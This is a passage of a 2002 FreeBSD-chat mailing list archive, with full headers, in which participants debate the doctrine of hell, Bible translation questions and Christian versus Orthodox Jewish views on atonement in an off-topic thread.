X-Accept-Language: en MIME-Version: 1.0 To: George Reid Cc: "Neal E. Westfall" , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020906013554.A42842@FreeBSD.org> <20020905211353.W92353-100000@Tolstoy.home.lan> <20020906155919.A6312@FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org George Reid wrote: > On the contrary, it is your well that I'm poisoning. If you are going to > cite passages from the Bible in support of your arguments, you'll have to > explain to us why it is that you don't adhere to all of the laws written > in Leviticus et al. You are aware that the Greeks had no word for "witch", and the actual word they used in Leviticus was Greek for "poisoner", right? "Thou shalt not suffer a /poisoner/ to live". Kind of ties us all back into Dave's original motivation, and the defensibility of trolls poisoning mailing lists. Probably Leviticus was just tired of SPAM. Works into the whole anti-pork thing, too, come to think about it... "Lee-hee-hee heeee-viticus... haw haw" 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 10:33:50 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CA63E37B400 for ; Fri, 6 Sep 2002 10:33:46 -0700 (PDT) Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id B195F43E6E for ; Fri, 6 Sep 2002 10:33:45 -0700 (PDT) (envelope-from george.reid1@ntlworld.com) Received: from sobek.lan ([80.6.30.227]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906173344.SXZA5047.mta06-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 18:33:44 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g86HXr917975; Fri, 6 Sep 2002 18:33:53 +0100 (BST) (envelope-from george.reid1@ntlworld.com) X-Authentication-Warning: sobek.lan: greid set sender to george.reid1@ntlworld.com using -f Date: Fri, 6 Sep 2002 18:33:53 +0100 From: George Reid To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906183353.A17895@FreeBSD.org> References: <20020906155919.A6312@FreeBSD.org> <20020906092136.L94577-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020906092136.L94577-100000@Tolstoy.home.lan>; from nwestfal@directvinternet.com on Fri, Sep 06, 2002 at 10:02:10AM -0700 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Sep 06, 2002 at 10:02:10AM -0700, Neal E. Westfall wrote: > Then why did you even bring them up? I find them humourous. > Was it an attempt to embarrass my position? No. > Do you suppose that I *am* embarrassed by those passages? I'm not sufficiently arrogant to suppose anything about your feelings. > What is *your* rationale for opposing slavery? Who said I do? > By the way, what objective standard are you using to judge God? I would > really like to know. Nor did I ever claim to be objective. > Oh. So no argument is forthcoming. I am not the one throwing out claims > of conspiracy theories and asserting that every translation of the Bible > is corrupt. No, but you are the one using the Bible to justify your arguments without explaining why it can be used to do so. > *You* are the one making the claims that are in opposition to > the majority consensus of Hebrew and Greek scholars that have given us a > plethora of translations which all just happen to teach the same doctrine > of hell. Perhaps I should remind you that Copernicus suggested an idea that went against the majority of philosophical and religious thought at the time. Was he wrong? (Copernicus and I are independent) > As such, the burden of proof is on *you*. You are the one > asserting that the majority opinion is in error. That is a case which > you have not even attempted to make, much less proven. Nor have you made the case that the majority opinion is correct. Give me something to refute and reply or don't bother, remove me from the CC: line and stop wasting my time! You haven't bothered to back up any of the statements that you've made and I don't see why I should expend my time doing the same if it's too much effort for you. You've made the first move by bringing the subject up. I have expressed interest in debating the subject (and I am honestly interested in it) but you seem uninterested in doing so. How can I refute specific claims that you haven't made? So far the debate extends to "Hell exists" and "I don't believe so, what makes you think that it does?". Your court. Ball. In. Hint: Look at Matt 5:22,29,30, Matt 10:28, Matt 18:9, Matt 23:15,33, Mark 9:45,47, Luke 12:5, James 3:6, 2 Peter 2:4 (I'll grant you that this last one is more difficult than the rest). -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 10:48:34 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4905537B400 for ; Fri, 6 Sep 2002 10:48:31 -0700 (PDT) Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7728A43E65 for ; Fri, 6 Sep 2002 10:48:30 -0700 (PDT) (envelope-from george.reid1@ntlworld.com) Received: from sobek.lan ([80.6.30.227]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906174829.RFWV23840.mta03-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 18:48:29 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g86HmcN18027; Fri, 6 Sep 2002 18:48:38 +0100 (BST) (envelope-from george.reid1@ntlworld.com) X-Authentication-Warning: sobek.lan: greid set sender to george.reid1@ntlworld.com using -f Date: Fri, 6 Sep 2002 18:48:38 +0100 From: George Reid To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906184838.B17895@FreeBSD.org> References: <20020906013554.A42842@FreeBSD.org> <20020905211353.W92353-100000@Tolstoy.home.lan> <20020906155919.A6312@FreeBSD.org> <3D78E56B.36741301@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D78E56B.36741301@mindspring.com>; from tlambert2@mindspring.com on Fri, Sep 06, 2002 at 10:27:07AM -0700 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Sep 06, 2002 at 10:27:07AM -0700, Terry Lambert wrote: > You are aware that the Greeks had no word for "witch", and the > actual word they used in Leviticus was Greek for "poisoner", > right? "Thou shalt not suffer a /poisoner/ to live". Two things: - the verse appears in Exodus (22:18), not Leviticus - the mistranslation is from Hebrew, not Greek It's a little bit ambiguous, however, because the word in Hebrew is "chasaph" or "kashaph" pretty much translates to "user of herbs" and Hebrew words only really have meaning in context. I believe that the correct translation is probably "Thou shalt not suffer a Rastafarian to live". -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 11:16:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D881B37B413 for ; Fri, 6 Sep 2002 11:16:07 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id E068243E3B for ; Fri, 6 Sep 2002 11:16:06 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86IG6Gd030715; Fri, 6 Sep 2002 11:16:06 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86IG5qX030708; Fri, 6 Sep 2002 11:16:05 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 11:16:04 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: George Reid Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020906183353.A17895@FreeBSD.org> Message-ID: <20020906104905.J94577-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, George Reid wrote: > > Oh. So no argument is forthcoming. I am not the one throwing out claims > > of conspiracy theories and asserting that every translation of the Bible > > is corrupt. > > No, but you are the one using the Bible to justify your arguments without > explaining why it can be used to do so. Maybe you should go back and read the whole thread. I have offered plenty of arguments for why I think the Bible should be believed. To sum it up, it goes something like this: Without a reliable supernatural revelation from God, no arguments, reasoning, science, ethics, human freedom, etc. would even be intelligible. The preconditions of rationally arguing anything require objective standards of logic and ethics which are only intelligible on a theistic worldview in which God reveals those objective standards through supernatural revelation. > > > *You* are the one making the claims that are in opposition to > > the majority consensus of Hebrew and Greek scholars that have given us a > > plethora of translations which all just happen to teach the same doctrine > > of hell. > > Perhaps I should remind you that Copernicus suggested an idea that went > against the majority of philosophical and religious thought at the time. > Was he wrong? (Copernicus and I are independent) No, but at least he had some evidence to back up his claims. You have yet to offer anything but bare assertions. > > As such, the burden of proof is on *you*. You are the one > > asserting that the majority opinion is in error. That is a case which > > you have not even attempted to make, much less proven. > > Nor have you made the case that the majority opinion is correct. Why should I need to? All you are doing is asking people to take your word for it over the majority opinion. I never claimed that the majority opinion is de-facto correct by definition, but if you want to challenge it, *you* are going to have to do the work, not expect me to defend it against arguments which you haven't even proffered. > Give me > something to refute and reply or don't bother, remove me from the CC: line > and stop wasting my time! You haven't bothered to back up any of the > statements that you've made and I don't see why I should expend my time > doing the same if it's too much effort for you. Yeesh! If you think you are wasting your time, then by all means you are free to go. I'm not holding you here. Why are you being such a hypocrite? > You've made the first move by bringing the subject up. I have expressed > interest in debating the subject (and I am honestly interested in it) but > you seem uninterested in doing so. How can I refute specific claims that > you haven't made? So far the debate extends to "Hell exists" and "I don't > believe so, what makes you think that it does?". Your court. Ball. In. Et tu! If you were honestly interested, you would have offered your arguments. Why in the world would you *want* to refute claims that have not been made? Everything you keep throwing at me is applicable to you. Here's my argument: The vast majority of scholars agree that the traditional translation is the correct translation. That doesn't mean they all believe in hell, just that what appears in our English translation of the Bible is a faithful translation from the original languages. You have two options here: 1) Refute the claim that the vast majority of scholars are in agreement on the way it has traditionally been translated. 2) Refute the standard translation. I don't see why you are not comprehending this. > > Hint: Look at Matt 5:22,29,30, Matt 10:28, Matt 18:9, Matt 23:15,33, Mark > 9:45,47, Luke 12:5, James 3:6, 2 Peter 2:4 (I'll grant you that this last > one is more difficult than the rest). Okay, this is a start. Now begin with Matt 5:22 and make your case. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 11:32:56 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BEE6337B400 for ; Fri, 6 Sep 2002 11:32:52 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60A4243E4A for ; Fri, 6 Sep 2002 11:32:52 -0700 (PDT) (envelope-from lomifeh@earthlink.net) Received: from bgp586692bgs.jdover01.nj.comcast.net (bgp586692bgs.jdover01.nj.comcast.net [68.39.202.147]) by mtaout06.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002)) with ESMTP id <0H21007944URZ6@mtaout06.icomcast.net> for chat@FreeBSD.ORG; Fri, 06 Sep 2002 14:32:52 -0400 (EDT) Date: Fri, 06 Sep 2002 14:32:51 -0400 From: Lawrence Sica Subject: Re: Why did evolution fail? In-reply-to: <20020903144201.Q66978-100000@Tolstoy.home.lan> To: "Neal E. Westfall" Cc: Dave Hayes , Terry Lambert , chat@FreeBSD.ORG Message-id: <0D38D150-C1C7-11D6-A71E-000393A335A2@earthlink.net> MIME-version: 1.0 X-Mailer: Apple Mail (2.543) Content-type: text/plain; charset=US-ASCII; format=flowed Content-transfer-encoding: 7BIT Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tuesday, September 3, 2002, at 05:57 PM, Neal E. Westfall wrote: > > > On Mon, 2 Sep 2002, Dave Hayes wrote: > >>>> What about those questions which cannot be dealt with rationally? >>> >>> What questions which cannot be dealt with rationally? >> >> "Is there a God?" "Why are we here?" "What is the one difference >> between a sacred being and an evil being?" > > Some questions are proven from the impossibility of the contrary. If > a particular worldview does not provide the preconditions of > rationality, > it should be rejected. For example, the fact that naturalism > undermines > the ability to know whether one's views are true or false eliminates > naturalism as a viable worldview. In fact, if naturalism is false its > opposite, supernaturalism must be true. > > Moreover, not just any supernaturalism will do. It must provide the > preconditions for rationality, ethics, science, human dignity, freedom, > intellectual disagreements, etc. Basically, its not that "God" cannot > be rationally proven as much as the fact that without God, nothing > could > be proven at all. Hence, God is proven from the impossibility of the > contrary. It is unreasonable to reject that which is the foundation > for everything else. > The proof or disproof of God is impossible because the question is inherently one not of science but of faith. If there is a God no human mind could fully comprehend him/her/it. If no human can comprehend God then how can God be proven? Some look at a tree and say that is the proof of God, some loo kat the tree and say that is just a part of the ecosystem. God and the proof of such a being is a very personal subject, and no one can prove it either way, one can simply decide on their own. --Larry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 11:38:20 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1551737B400 for ; Fri, 6 Sep 2002 11:38:17 -0700 (PDT) Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id A33DA43E65 for ; Fri, 6 Sep 2002 11:38:16 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0483.cvx22-bradley.dialup.earthlink.net ([209.179.199.228] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nNzb-0002MM-00; Fri, 06 Sep 2002 11:38:07 -0700 Message-ID: <3D78F5CB.6541A3FA@mindspring.com> Date: Fri, 06 Sep 2002 11:36:59 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: George Reid Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020906013554.A42842@FreeBSD.org> <20020905211353.W92353-100000@Tolstoy.home.lan> <20020906155919.A6312@FreeBSD.org> <3D78E56B.36741301@mindspring.com> <20020906184838.B17895@FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org George Reid wrote: > On Fri, Sep 06, 2002 at 10:27:07AM -0700, Terry Lambert wrote: > > You are aware that the Greeks had no word for "witch", and the > > actual word they used in Leviticus was Greek for "poisoner", > > right? "Thou shalt not suffer a /poisoner/ to live". > > Two things: > > - the verse appears in Exodus (22:18), not Leviticus Yes... I'm all Leviticus'ed out, for the pork/SPAM reference. ;^). > - the mistranslation is from Hebrew, not Greek I don't read Hebrew; the closest I get is some Yiddish; but I do read some Greek. 8-). Was the "young girl"/"virgin" mixup also from the Hebrew? > It's a little bit ambiguous, however, because the word in Hebrew is > "chasaph" or "kashaph" pretty much translates to "user of herbs" > and Hebrew words only really have meaning in context. I believe that the > correct translation is probably "Thou shalt not suffer a Rastafarian to > live". Translation is so much fun... 8-) 8-). Q: "How does a translator work?" A: "Person A says something in their native language to person B, who doesn't speak the language of person A. Then the translator says in person B's language whatever it would have been in the translator's best interest for person A to have said, instead." -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 12:10:57 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2AA6737B400 for ; Fri, 6 Sep 2002 12:10:54 -0700 (PDT) Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id E31DF43E65 for ; Fri, 6 Sep 2002 12:10:48 -0700 (PDT) (envelope-from greid@FreeBSD.org) Received: from sobek.lan ([80.6.30.227]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906191047.SVWR13709.mta07-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 20:10:47 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g86JAvU18281; Fri, 6 Sep 2002 20:10:57 +0100 (BST) (envelope-from greid@FreeBSD.org) X-Authentication-Warning: sobek.lan: greid set sender to greid@FreeBSD.org using -f Date: Fri, 6 Sep 2002 20:10:57 +0100 From: George Reid To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020906201057.A18193@FreeBSD.org> References: <20020906013554.A42842@FreeBSD.org> <20020905211353.W92353-100000@Tolstoy.home.lan> <20020906155919.A6312@FreeBSD.org> <3D78E56B.36741301@mindspring.com> <20020906184838.B17895@FreeBSD.org> <3D78F5CB.6541A3FA@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D78F5CB.6541A3FA@mindspring.com>; from tlambert2@mindspring.com on Fri, Sep 06, 2002 at 11:36:59AM -0700 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Sep 06, 2002 at 11:36:59AM -0700, Terry Lambert wrote: > I don't read Hebrew; the closest I get is some Yiddish; but I > do read some Greek. 8-). Was the "young girl"/"virgin" mixup > also from the Hebrew? I assume you mean Isaiah 7:14 ("The virgin will be with child and will give birth to a son and will call him Immanuel"). The Hebrew verse reads "Hinneh ha-almah harah ve-yeldeth ben ve-karath shem-o Immanuel". "ha-almah" does indeed mean "the young woman". However, it needs to be read in its social context -- "almah" typically refers to a young woman who is not yet married and therefore assumably a virgin. There *is* a specific Hebrew word ("betulah") for "virgin" but it wasn't used here. Certainly the Hebrew text does not explicitly mention virginity. I think the English translation probably comes from the Greek "parthenos" in later traditions. Additionally, the definite Hebrew article "ha" (the) appears to have been replaced with the indefinite "e" (the) in the Greek. I *believe* (although I am not certain as I don't have any copies handy and no time to look for one) that in the Latin translations, "almah" was translated into "virgo" (you can guess what this means). -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 12:21:31 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A9EC737B400 for ; Fri, 6 Sep 2002 12:21:07 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9939543E75 for ; Fri, 6 Sep 2002 12:21:01 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86JL0Gd092640; Fri, 6 Sep 2002 12:21:00 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86JKxHg092627; Fri, 6 Sep 2002 12:21:00 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 12:20:59 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: dave@jetcafe.org, , Subject: Re: Why did evolution fail? In-Reply-To: <20020905200221.6d920659.yid@softhome.net> Message-ID: <20020905174725.R91660-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hi, if you could, when you get to around column 75 or so in your email software, if you could hit enter and start a new line, it would be most appreciated! Thanks.. On Thu, 5 Sep 2002, Joshua Lee wrote: > > > Funny, I don't think the "OT" seemed to indicate that one is > > > supposed to junk it at some point in the future in favor of > > > worshiping the messiah. > > > > Neither do I. But to reject everything that the OT pointed forward > > to is just as bad. I have a higher regard for the "OT" than you > > seem to assume. > > I don't assume you have a low regard for the "OT", though your calling > "OT Judaism" (a phrase meant to deligitimize existant Judaism) an > "aborted version" of your religion doesn't sound like you think too > highly of Judaism. The reason I make the distinction is because, as Christ said, Abraham rejoiced to see His day, and my view of the Old Testament sufficiently differs from yours as to make the distinction relevant. The apostle Paul regarded Christians to be the true heirs of Abraham, a point you obviously reject. > > > > Orthodox Judaism repudiates the need for blood atonement and > > > > redemption, which means man can never know if he is in a right > > > > relationship with God. > > > > > > Orthodox Judaism does not repudiate the superiority of the Temple as > > > a vehicle for inner repentance; we (I am an Orthodox Jew) pray every > > > day for the Temple's restoration because of that. > > > > What you have failed to realize is that Christ is the true temple > > of which the physical temple was only a shadow. This is the same > > Make up your mind, is he a temple, a god, or a messiah? Perhaps a Mithra? He is the temple. The true temple to which the physical temple was only a shadow. Do you not understand the concept of symbolism and typology? He is not *a* god, he is God, the same God who spoke to Moses in the burning bush. He made this clear in John's gospel. He is also the Messiah. I know you don't accept these things, but if you are going to challenge Christian doctrine at least get it right. Why do you find it so difficult to grasp that he is all three? He is also prophet, priest, and king. Is this so difficult to understand? > > > error the pharisees made when they mistakenly thought that Jesus > > was talking about the literal temple in John 2:19-22. How can a > > temple built with human hands make atonement for sin? > > You didn't read what I said. I said a "vehicle" for "inner repentance". > Without that inner repentance, which can be effectuated in all > circumstances, the Temple was indeed useless. This is another New > Testament misrepresentation of the Pharasiac position; of course this is > not the only or the worst misrepresentatation of the Pharasees, of whom > Orthodox Judaism is decendeded, in the New Testament. (The worst one of > course is when it represents the Sanhedrin of the kind and holy Rabbis > Hillel, Akiva, and Gamliel as having a secret trial to commit deicide.) How is a physical temple able to bring inner repentance? Also, what about your sins, what do you do with those? Does God just sweep them under the rug? If you reject blood atonement, even though your own scriptures taught it, how is one right with God? Does God just wink at your sin because you are so "righteous"? > > > Since you mention Isaiah chapter 1, who is being referred to in verse > > 4? Who is the "Holy One" of Israel that the people of Israel have > > despised? > > G-d. I agree. It is also referring to the Messiah, and the true Temple. > "...they have forsaken Hashem; they have angered the Holy One of Israel, > and have turned their back [to Him]" (Stone Edition Tanakh) > > That's a semicolon, not a period, and it's talking about apostacy in > Isaiah's time (note the past tense), not a crucifiction. I agree that it is written in Isaiah's time, so why did you earlier cite this passage as evidence of a future rebuilding of the temple? Neither did I say this passage referred to a crucifixion. > > > Why does God say in verse 11, "I have had enough of burnt > > offerings of rams And the fat of fed cattle; And I take no pleasure in > > the blood of bulls, lambs or goats"? > > Because blood doesn't produce repentence, inner change does. In verse > 11, it is repudiating the very theological issue of repentance through > the blood of the sacrifices that you are aspousing. You need to read the passage a little more carefully. It does not repudiate blood atonement. It repudiates the false notion that the blood of *animals* atones for sin. It was clarifying that the animal sacrifices never *actually* atoned for sins, they only pointed forward to the fact that the *Messiah's* blood would atone for sin. The people were missing the point of why God instituted animal sacrifice in the first place. They foolishly believed that the outward obedience of making sacrifices is what pleased God, instead of inwardly trusting that God would provide a suitable substitute to atone for their sins. Remember when God commanded Abraham to sacrifice Isaac on Mt. Moriah? What was the point of that whole story? Was it not the lesson that God would provide a substitute for sinful man? "Then Abraham raised his eyes and looked, and behold, behind {him} a ram caught in the thicket by his horns; and Abraham went and took the ram and offered him up for a burnt offering in the place of his son." (Gen 22:13) "Abraham called the name of that place The LORD Will Provide, as it is said to this day, "In the mount of the LORD it will be provided." (Gen 22:14) God then promised the following to Abraham: "In your seed all the nations of the earth shall be blessed, because you have obeyed My voice." (Gen 22:18) This is a reference to the Messiah who would come from Abraham's loins. It was the Messiah who would be a blessing to all the nations of the earth, by dying on the cross to be a substitute, a sacrifice pleasing to the Lord for man's sins. It is only by *His* blood that any of us can be right with God. The solution? Not a > better and more "complete" sacrifice of a human being, but "Learn to do > good, seek justice, vindicate the victim, render justice to the orphan, > take up the grievence of the widow." (Verse 17.) All of this is well and good, but it doesn't atone for sin. How can a just God let sin go unpunished? Christ provides the answer to this dillemma. He is the second Adam who did not fall to the temptations of the serpent. > > What then *was* the purpose of > > the temple sacrifices back in Leviticus? Were they not to teach the > > Iraelites that without the shedding of blood, there can be no > > remission of sins? (See Hebrews 9:22) Why does John the baptist > > refer to Jesus as "the lamb of God who takes away the sins of the > > world"? (John 1:29) > > Since those books aren't in my Tanakh (Bible) I don't consider your > proofs by scripture convincing. I know that, but please answer the question. What is the purpose of all those bloody sacrifices in Leviticus? > > Moreover who is being referred to in the suffering servant passages > > in Isaiah 53? > > Israel is the servent, as is clear when you read the long servant poem > (without the chapter divisions introduced by medieval xtians) in > context. (Chapter 44 for example.) The servent is a personification of > Israel, who has gone through so much suffering that the nations consider > him cursed and will be astonished when he is restored. I agree that Chapter 44 refers to Israel. In that chapter God calls on Israel to repent of its sins and turn back to the Lord. Israel was to be a light to the nations, yet Israel repeatedly fell into sin and failed. As I'm sure you know, Isaiah was written near the end of the Babylonian exile. Why were the Jews in exile? God sent them into exile as punishment for their idolatry and apostacy. The suffering servant in Isaiah is the true Israel, the Messiah, who would finally put an end to sin as is clear when comparing the passage to the gospel accounts. For example, compare Is. 53:5 to John 19:34. Also compare Is. 53:7 to Matt. 27:14, Is. 53:9 to Matt. 27:57-60. Also, the passage seems to imply that the servant was to die for the transgressions of His people. See for example Is. 53:8. > > Who is the seed of the woman being referred to in > > Genesis 3:15 when God addresses the serpent and says, "He shall bruise > > you on the head, And you shall bruise him on the heel."? > > I'm afraid to ask. ;-) Well, what do you think? 8-) Who do *you* think it refers to? Isn't it the same seed that is referred to later in Gen. 22:18? > > > > Moreover, whether or not you agree that the particular religion I > > > > propose is the One True Way, > > > > > > My religion is not the One True Way for non-Jews. (Hence the wink.) > > > The righteous of the gentiles have a portion in the World to Come. I > > > have no inepitus for forcing my beliefs down other's throats; such > > > as the belief that god will torture for eternity anyone that isn't > > > my religion. > > > > So why are you attacking what my religion teaches? Aren't you just > > I do not attack xtianity, it has done a lot of good in the world. If one > is selling something to someone, however, one shouldn't be surprised if > others offer reviews of the product. I must humbly point out that you in fact *did* attack the doctrine of hell. That's not the point I was making though. If somebody wants to criticize some aspect of Christianity, that's fine, but the point I was making was that it is hypocritical to criticize a particular doctrine as amounting to "forcing my beliefs down other's throats". Your very criticism amounted to trying to get me to accept *your* belief that hell does not even exist. If in fact the doctrine of hell is true, the baselessness of the accusation about my motivations for defending it become clear. I know it is a difficult doctrine to accept, but you know, life is like that. There are many things about life that are unpleasant, but complaining about it and attributing bad motivations to those who point it out isn't going to change the fact. The charge that the doctrine of hell amounts to an attempt to "force by beliefs down other's throats" is not a rational argument. Such an argument could never be proven, since you would have to have knowledge of a person's heart-felt motivations, and only God could have that. > > being a little bit hypocritical? Do you think that Christians just > > made up the doctrine of hell? Where do you think it came from? Did > > it not come from the lips of Christ himself, who claimed to be your > > Messiah? > > I don't care who's lips it came from, if it is not affirmed by the Oral > and Written Torah of Moses and our sages we Jews don't believe in it. This misses the point. If the scriptures to which *I* appeal to *do* teach it, you cannot claim that my motivation for defending it is just an attempt to force my views down other's throats. If you disagree with it fine, but stop attributing bad motivations to me just because I hold to a doctrine which my religion explicitly teaches. This is called an "ad-hominem" fallacy. > > Aren't you just trying to silence what you don't agree with? > > As usual, all evangelists view people disagreeing with them an offense > against the first amendment. No, I was calling you on the carpet for engaging in an ad-hominem attack on my character. Attributing bad motivations to someone for believing a particular doctrine is not a sound argument. > > why is it that you find my posts so offensive in a public forum that > > was expressly created for off-topic posts? And why do you deem my > > views to be "militant"? You sir certainly seem to be engaging in a > > "crusade" to silence what you disagree with. > > No, I just view 